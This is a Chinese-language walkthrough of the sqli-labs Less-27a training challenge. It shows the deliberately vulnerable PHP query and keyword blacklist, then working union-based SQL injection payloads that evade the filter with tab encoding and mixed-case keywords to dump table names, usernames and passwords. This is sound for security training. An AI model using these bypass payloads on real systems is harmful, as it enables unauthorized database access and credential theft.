当前位置: 首页 > news >正文

sqli-labs:Less-27a关卡详细解析

1. 思路🚀

本关的SQL语句为:

$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  • 注入类型:字符串型(双引号包裹)、GET操作
  • 提示:参数需以"闭合
  • 关键参数:id

php输出语句的部分代码:

if($row)
{echo "<font size='5' color= '#99FF00'>";	echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";
}
else 
{echo '<font color= "#FFFF00">';// print_r(mysql_error());echo "</font>";  
}

语句print_r(mysql_error());被注释,本关卡不可以使用报错盲注。而且许多字符进行了过滤,但我们只需要对字符进行替换即可,替换规则如下。

  • 空格%09替换
  • unionUnIoN替换
  • selectSELect替换
function blacklist($id)
{$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*$id= preg_replace('/[--]/',"", $id);			//Strip out --.$id= preg_replace('/[#]/',"", $id);			//Strip out #.$id= preg_replace('/[ +]/',"", $id);	    	//Strip out spaces.$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.$id= preg_replace('/[ +]/',"", $id);	    	//Strip out spaces.$id= preg_replace('/union/s',"", $id);	    //Strip out union$id= preg_replace('/select/s',"", $id);	    //Strip out select$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT$id= preg_replace('/Union/s',"", $id);	    //Strip out Union$id= preg_replace('/Select/s',"", $id);	    //Strip out selectreturn $id;
}

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-27a/,从?id=开始,只需要将下面的sql语句粘贴即可。同时我将sql注入源语句和变体语句放在下面,方便观察。

2.1. 获取基本信息⚡

999" union select 1,database(),3 where "1"="1
999"%09UnIoN%09SELect%091,database(),3%09where%09"1"="1

在这里插入图片描述


2.2. 获取表名⚡

999" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' and "1"="1
999"%09UnIoN%09SELect%091,group_concat(table_name)%09,3%09from%09information_schema.tables%09where%09table_schema%09=%09'security'%09and%09"1"="1

在这里插入图片描述


2.3. 获取字段⚡

999" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users' and "1"="1
999"%09UnIoN%09SELect%091,group_concat(column_name)%09,3%09from%09information_schema.columns%09where%09table_schema%09=%09'security' and%09table_name%09=%09'users'%09and%09"1"="1

在这里插入图片描述


2.4. 获取数据⚡

999" union select 1,group_concat(username),3 from users where"1"="1
# 账号
999"%09UnIoN%09SELect%091,group_concat(username),3%09from%09users%09where"1"="1
# 密码
999"%09UnIoN%09SELect%091,group_concat(password),3%09from%09users%09where"1"="1

在这里插入图片描述

在这里插入图片描述


2.5. 参数汇总表⭐

参数作用示例
"闭合符号id=1"
union select联合查询union select 1,2,3
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. 总结🏁

关卡中代码对许多字符进行过滤来防止SQL注入,但我们仍可通过替换相应内容(如SELect)、逻辑运算符替代或URL编码的方式等方式轻松绕过。

相似的关卡解析,见"sqli-labs:Less-27关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149912698?spm=1011.2415.3001.5331

相似的关卡解析,见"sqli-labs:Less-28关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149915055?spm=1011.2415.3001.5331

基础的联合注入关卡解析,见"sqli-labs:Less-2关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149775774?spm=1011.2415.3001.5331


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.xdnf.cn/news/1243081.html

相关文章:

  • 《Python 实用项目与工具制作指南》· 2.3 导入
  • Bean的生命周期和循环依赖问题的解决
  • curl发送文件bodyParser无法获取请求体的问题分析
  • 嵌入式硬件中三极管推挽电路控制与实现
  • PPT自动化 python-pptx - 11 : 备注页 (Notes Slides)
  • (论文速读)Text-IF:基于语义文本引导的退化感知交互式图像融合方法
  • sqli-labs-master/Less-31~Less-40
  • openeuler离线安装软件
  • Hexo - 免费搭建个人博客07 - 添加右上角的“目录”
  • 先知模型或者说从容的模型
  • Linux—yum仓库及NFS网络共享服务
  • Java基础-斗地主游戏
  • opencv引入libavif
  • 从 0 到 1 开发图书管理系统:飞算 JavaAI 让技术落地更简单
  • Prometheus-3--Prometheus是怎么抓取Java应用,Redis中间件,服务器环境的指标的?
  • 【慕伏白】Android Studio 配置国内镜像源
  • 内联函数:提升效率的空间换时间艺术
  • FreeRTOS源码分析四:时钟中断处理响应流程
  • 深入浅出 RabbitMQ:工作队列实战(轮训策略VS公平策略)
  • 鸿蒙南向开发 编写一个简单子系统
  • 机器学习 入门——决策树分类
  • 并发编程常用工具类(下):CyclicBarrier 与 Phaser 的协同应用
  • C++入门自学Day6-- C++模版
  • 飞算JavaAI需求转SpringBoot项目沉浸式体验
  • 【BUUCTF系列】[极客大挑战 2019]LoveSQL 1
  • vllm启动Qwen/Qwen3-Coder-30B-A3B-Instruct并支持工具调用
  • MLIR Introduction
  • android内存作假通杀补丁(4GB作假8GB)
  • History 模式 vs Hash 模式:Vue Router 技术决策因素详解
  • ZYNQ-按键消抖